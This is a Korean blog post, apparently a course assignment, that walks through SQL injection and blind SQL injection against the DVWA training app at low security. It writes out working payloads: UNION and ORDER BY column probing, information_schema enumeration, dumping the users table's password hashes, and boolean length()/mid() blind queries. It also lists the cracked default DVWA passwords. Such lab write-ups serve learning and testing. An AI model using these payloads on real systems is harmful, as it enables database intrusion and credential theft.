본문 바로가기

Security/SQL Injection

DVWA sql injection, blind sql injection low (강의 과제)

ubuntu 네트워크가 또 갑자기 안 돼서 몇 시간 동안 만져봤는데 해결이 안 돼서

그냥 kali가 아니라 ubuntu 내에서 진행

 

 

column 수가 2

union문을 사용할 때는 column 개수가 같아야 한다는 것을 이용

 

 

3’ union select 1,2,3#을 했을 때 column 수가 3개가 아니라는 것을 알 수 있다. 오류

 

 

3’ order by 2 # column 수가 2개이기 때문에 1, 2까지는 나오지만 3 이상을 쓰면 오류

 

 

 

version5.7.37

version을 알아내는 이유는 information_schema를 위해 (5.0 이상 존재)

database 이름은 dvwa인 것을 알 수 있다.

database()database의 이름을 알려주는 함수이고 version()가 버전을 알려주는 함수이다.

 

 

user()는 유저 이름을 출력해주는 함수이다.

 

 

information_schema.tablestable_schematable_name 출력

 

 

위와 동일한데 table_schemadvwa인 것만 출력해서 총 3개가 나오게 되었다.

dvwa에 있는 table_nameguestbookusers 2개라는 것을 알 수 있다.

 

 

table_nameusersTABLE_NAMECOLUMN_NAME을 출력

COLUMN_NAME password라는 것이 있다는 것을 확인

 

 

dvwa.users에 있는 first_namepassword를 출력 (Hash )

kali의 john 이용해서 복호화하려고 했는데 안 돼서 사이트에서 값을 변환

http://md5.gromweb.com

 

MD5 conversion and MD5 reverse lookup

Reverse a MD5 hash Convert a string to a MD5 hash

md5.gromweb.com

admin : password

Gordon : abc123

Hack : charley

Pablo : letmein

Bob : password

 


sql map은 kali랑 지금 연동이 안 되는 상황이라 못하고 그냥 하나하나 해봤다.

 

Blind injection

 

 

거짓

 

column 수는 2개

 

 

' or length(database()) = 4 #

아까 했던 대로 DB 이름 먼저 길이를 대입해보았다.

4글자인 것을 알 수 있다.

 

' or mid(database(), 1,1) = 'd' #

DB 이름의 첫 글자가 d인걸 확인할 수 있다.

이걸 다 돌려서 4글자를 보면 DB 이름은 dvwa인 것을 알 수 있다.

 

그럼 이제 DB에 있는 테이블명을 알아봐야 하는데 정말 하기 귀찮지만 일단 해보겠다.

' or length(select table_name from information_schema.tables where table_schema='dvwa')

여기까지만 하면 아까와 같이 dvwa에 속한 table_name 전체를 구하게 되는 거라 1개로 제한하기 위해 찾아봤는데

limit 함수를 사용하면 된다고 한다.

 

' or length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)) = 5 #

이걸로 테이블명 길이는 5이다.

limit a, b 이렇게 사용하게 되면 a번 인덱스부터 b개까지로 제한하는 것이고 인덱스는 0부터 시작하니 지금 쓴 쿼리는 사실 인덱스가 1인 2번째 table명 길이를 출력한다고 보면 된다.

왜 1번째 인덱스를 출력했냐 하면 하다보니까 그냥 sql injection의 DB와 동일한 거 같아서 하나하나 하는 것의 귀찮음을 줄이기 위해서이다.

 

그다음 테이블 명의 길이를 알았으니 문자열도 하나하나 대입해봐야 한다.

그냥 방금 한 것에 length를 mid로 바꿔서 사용하면 될 듯하다.

 

 

' or mid((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1), 1, 1) = 'u' #

이렇게 해서 첫 글자가 1인 것을 알 수 있고 똑같이 5번 돌려서 확인하면 이름은 users라는 것을 알 수 있다.

 

그냥 이제 이렇게 동일하게 하면 될 거 같은데 너무 힘들어서 그냥 여기까지만 할 것이다.

sql map을 이용하자...ㅎㅎ

'Security > SQL Injection' 카테고리의 다른 글

SQL Injection  (0) 2021.12.13